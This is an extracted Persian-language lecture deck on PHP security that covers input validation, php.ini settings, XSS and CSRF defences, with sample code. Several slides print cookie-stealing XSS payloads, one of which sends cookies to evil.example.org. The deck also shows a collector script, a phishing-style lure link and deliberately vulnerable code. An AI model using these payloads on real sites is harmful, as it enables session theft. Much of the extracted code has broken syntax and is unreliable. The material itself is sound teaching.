security in php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/phpsecurityppt.pdf · .دینکن...
TRANSCRIPT
![Page 1: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/1.jpg)
Security in Php
Mansooreh Jalalyazdi
1
![Page 2: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/2.jpg)
Input Validation
.اطمینان از اینکه ورودی معتبر است
این کنترل باjavascript می تواند صورت گیرد چون سریعتر است و در
.صورت می گیرد clientسطح
این کنترل باید باphp نیز صورت گیرد.
کنترل هایjavascript به آسانی می توانند نادیده انگاشته شوند.
برای کنترل ورودی می توان ازBlack list یاWhite list استفاده کرد.
Black list ممکن است کامل نباشد و برخی حاالت در نظر گرفته نشود.
White list در صورت امکان استفاده، بهتر است.
2
![Page 3: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/3.jpg)
Input Validation چه چیزیinput در نظر گرفته می شود؟
داده های فرم
پارامترهایquery
پارامترهایpost
Cookieها
داده های موجود در پایگاه داده که توسط کاربر می تواند تغییر کند.
Log ها که شامل ورودی های کاربر هم می باشد.
...
چه چیزی باید اعتبارسنجی شود؟ همه چیز
3
![Page 4: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/4.jpg)
Input Validation – White List
:یک مثال ساده
<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
{
?>
4
![Page 5: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/5.jpg)
Filtering – White List
مثال برای ایمیل:<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
{
?>
5
![Page 6: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/6.jpg)
کنترل عدد بودن یک متغیر
:یک عدد صحیح است POST[‘num’]_$کنترل اینکه متغیر
<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
}
$clean['num'] = $_POST['num'];
{
?>
.استفاده کنید floatvalبرای کنترل اینکه یک متغیر عدد اعشاری است از تابع
6
![Page 7: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/7.jpg)
مقداردهی اولیه به متغیرها
وقتی اجرای یک صفحهphp آغاز می شود که
کلHTTP REQUEST دریافت شده باشد
هیچ فرصت دیگری برای فرستادن داده وجود ندارد
به مقداردهی اولیه متغیرها توسط خودphp اکتفا نکنید.
متغیرها را مقداردهی اولیه کنید
اجازه ندهید توسط افراد بدخواه از طریق$_GET یا از روش های دیگر مقدار دهی اولیه شوند.
7
![Page 8: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/8.jpg)
php.iniتنظیمات
allow_url_include = Off
open_basedir = /var/www/htdocs/files
8
![Page 9: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/9.jpg)
Error Reporting
Error Reporting = E_ALL : تمام خطاهای برنامه همواره مشخص
.شود
display_errors=On :در زمان تولید برنامه
display_errors=Off :در زمان اجرای واقعی برنامه
log_errors=On :در زمان اجرای واقعی برنامه
مقدارerror_log و مجوزهایApache برای نوشتن در آن را بررسی
.کنید
![Page 10: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/10.jpg)
register_globals
register_globals = off
مقداری که باید از طریق یک فرم و به شکلPOST
.فرستاده شود GETفرستاده شود به راحتی می تواند با
10
![Page 11: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/11.jpg)
Spoofed Form Submissions
:http://example.org/form.htmlدر آدرس فرضی htmlیک فرم ساده
<form action="/process.php" method="POST">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
11
![Page 12: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/12.jpg)
Spoofed Form Submissions
فرم زیر با توجه به فرم قبل، توسط فرد بدخواه به صورت زیر به راحتی نوشته
:شود
<form action=“http://example.org/process.php" method="POST">
<input type=“text” name=“color”>
<input type="submit" />
</form>
می تواند هر مقداری داشته باشد Colorاکنون
12
![Page 13: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/13.jpg)
(۲۰۱۱)روش های مختلف حمله
13
![Page 14: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/14.jpg)
Cross Site Scripting (XSS)
منظور ازXSS روش های حمله ای است که از نقاط
نفوذپذیر در کد یک برنامه وب استفاده می کند تا محتوایی
بدخواهانه را از طریق یک کاربر بفرستد و داده هایی را
.از قربانی کسب کند
14
![Page 15: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/15.jpg)
Cross Site Scripting (XSS)
نوعی از آسیب پذیری امنیتی کامپیوتر است که در برنامه
.های تحت وب پیدا می شود
این آسیب پذیری برای حمله کننده این امکان را فراهم می
webدر ) javascriptsمثال (کند که کدهای بدخواهانه
browser قربانی تزریق کند .
با استفاده از این کد بدخواهانه، حمله کننده می تواند داده
). مثال اطالعات کوکی ها(های قربانی را بدزدد
15
![Page 16: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/16.jpg)
XSSتئوری حمله
16
![Page 17: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/17.jpg)
XSS
17
![Page 18: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/18.jpg)
Stored XSS Attack
18
![Page 19: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/19.jpg)
XSS Example
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
}
$message = $_GET[„message‟];
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$_GET['message']<br />");
fclose($fp);
{
readfile('./messages.txt');
?>19
![Page 20: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/20.jpg)
XSS Example
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
20
![Page 21: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/21.jpg)
XSS Example
مهکار گرامی،
در راستای ارتقای سطح خدمات و رضایتمندی کارکنان از سیستمهای یکپارچو سازمان، بر آن شدمی تا در قالب یک .نظرسنجی خمتصر از کارکنان، ضعفهای احتمالی سیستم را شناختو و در جهت رفع آهنا برآییم
در صورتی کو متایل دارید ما را از نظرات ارزمشند خود هبره مند سازید، لطفا بو سیستم وارد شده و در لینک زیر، بو :سواالت نظرسنجی پاسخ دىید
>http://www.mysite.com/error.php?message=survey+is+not+ready+yet.+<script>...</script
http://www.mysite.com/e%72%72%6f%72.php?message%3dsurvey...
21
![Page 22: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/22.jpg)
XSS
فرض کنید در یک صفحه وب با متدGET مقدارid وname گرفته شده و این مقدار در
table ذخیره می شود.
&name=Ali123Http://saveChild.php?id=
می توانید آن را به این صورت فراخوانی کنید:
&name=Ali<script>alert(document.cookie)</script>123Http://saveChild.php?id=
با این کار این مقدار به جایname درtable نگهداری می شود.
اگر کاربری اطالعات این کودک را مشاهده کند، مقدارcookie وی اعالن می شود.
22
![Page 23: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/23.jpg)
XSS
مقدارpassword می تواند به صورت زیر باشد:
1” onKeyPress="
if (window.event) {
var key = window.event.keyCode;
}
else {
var key = event.which;
}
if(key == 13){
document.login.submit();
{”23
![Page 24: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/24.jpg)
XSS – Set a Cookie<html>
<script type="text/javascript">
cookie_name = "Counter_Cookie";
function doCookie() {
if(document.cookie)
index = document.cookie.indexOf(cookie_name);
else
index = -1;
if (index == -1)
document.cookie=cookie_name+"=1;";
else {
countbegin = (document.cookie.indexOf("=", index) + 1);
countend = document.cookie.indexOf(";", index);
if (countend == -1)
countend = document.cookie.length;
count = eval(document.cookie.substring(countbegin, countend)) + 1;
document.cookie=cookie_name+"="+count;
}
}
24
![Page 25: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/25.jpg)
XSS – Set a Cookiefunction gettimes() {
if(document.cookie)
index = document.cookie.indexOf(cookie_name);
if (index != -1) {
countbegin = (document.cookie.indexOf("=", index) + 1);
countend = document.cookie.indexOf(";", index);
if (countend == -1)
countend = document.cookie.length;
count = document.cookie.substring(countbegin, countend);
if (count == 1)
return (count+" time");
else
return (count+" times");
}
return ("0 times");
}
// -->
</script>
<body onload="doCookie()">
<script language="javascript">
document.write("You have been to this page "+gettimes()+" before.");
</script>
25
![Page 26: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/26.jpg)
XSS – Inject the malicious code
<body>
<form action="showCookie.php" method="post">
<textarea name="text" rows="10" cols="50">
<script>document.location='http://localhost/xss/my.php?dc='+document.cookie</script>
Leave a message for another user ...
</textarea>
<input type="submit" value="Test your input">
</form>
</body>
26
![Page 27: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/27.jpg)
XSS – Run the Malicious code
<body>
<?php
echo $_POST['text'];
echo "<br>....";
?>
</body>
27
![Page 28: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/28.jpg)
XSS – The Evil Script
<body>
<?php
$fp = fopen('./savedCookies.txt', 'a');
fwrite($fp, "{$_GET['dc']}<br />");
fclose($fp);
echo "<br />wrote in file".$_GET['dc'];
?>
</body>
28
![Page 29: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/29.jpg)
XSSجلوگیری از
Input Validation
کمک گرفتن از توابعPhp
Stript_tags() : تمامtag هایhtml حذف می شوند و خیالمان راحت می شود.
htmlentities() : کدهایhtml یاjs فقط نشان داده می شوند نه اینکه اجرا شوند.
ایجادWhite List وBlack List
29
![Page 30: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/30.jpg)
A Safer version of XSS Example
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
}
$message = $_GET[„message‟];
$message = htmlentities($_GET[„message‟]);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, $message<br />");
fclose($fp);
{
readfile('./messages.txt');
?> 30
![Page 31: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/31.jpg)
Cross-Site Request Forgeries<?php
$token = md5(rand());
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$tokens = file('./tokens.txt');
}if (in_array($_POST['token'], $tokens))
}if (isset($_POST['message']))
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
{
readfile('./messages.txt');
?> 31
![Page 32: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/32.jpg)
Cross-Site Request Forgeries<?php
session_start();
}if (isset($_POST[„message‟]))
}if (isset($_POST['message']) && $_POST[„token‟] == $_SESSION[„token‟])
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
{
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
readfile('./messages.txt');
?>
32
![Page 33: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/33.jpg)
Database Controls
معموال در برنامه های کار با پایگاه داده، در یک فایل
inc نام سرور، آدرس سرور، نام کاربری و کلمه عبور ،
.قرار می گیرد
33
Db.inc
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>
![Page 34: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/34.jpg)
Database Controls
فایلdb.inc مثال قبل را در زیرشاخه هایdocument_root قرار ندهید.
این فایلText محسوب می شود و ممکن است یک کاربر آن را درbrowser خود با
.آدرس آن مشاهده کند
اگر مجبور به این کار هستید، خطوط زیر را به فایلHttpd.conf اضافه کنید.
34
Httpd.conf
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
![Page 35: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/35.jpg)
توجه
حمالت ادامه داردSession Fixation ،Session Hijacking و.....
نکات امنیتی هنوز ادامه دارد.....
35
![Page 36: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/36.jpg)
References
http://phpsec.org/projects/guide/1.html
http://www.acunetix.com/websitesecurity/cross-site-scripting.htm
Arash Shahkar Cources in Ferdowsi University – ITS Center
36
![Page 37: Security in Php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/PhpSecurityPpt.pdf · .دینکن افتکا php دخ طست اهریغتم هیلا یهدرادقم هب دینک](https://reader034.vdocuments.us/reader034/viewer/2022042917/5f5add3187c72d1d0c746e68/html5/thumbnails/37.jpg)
متشکرم
37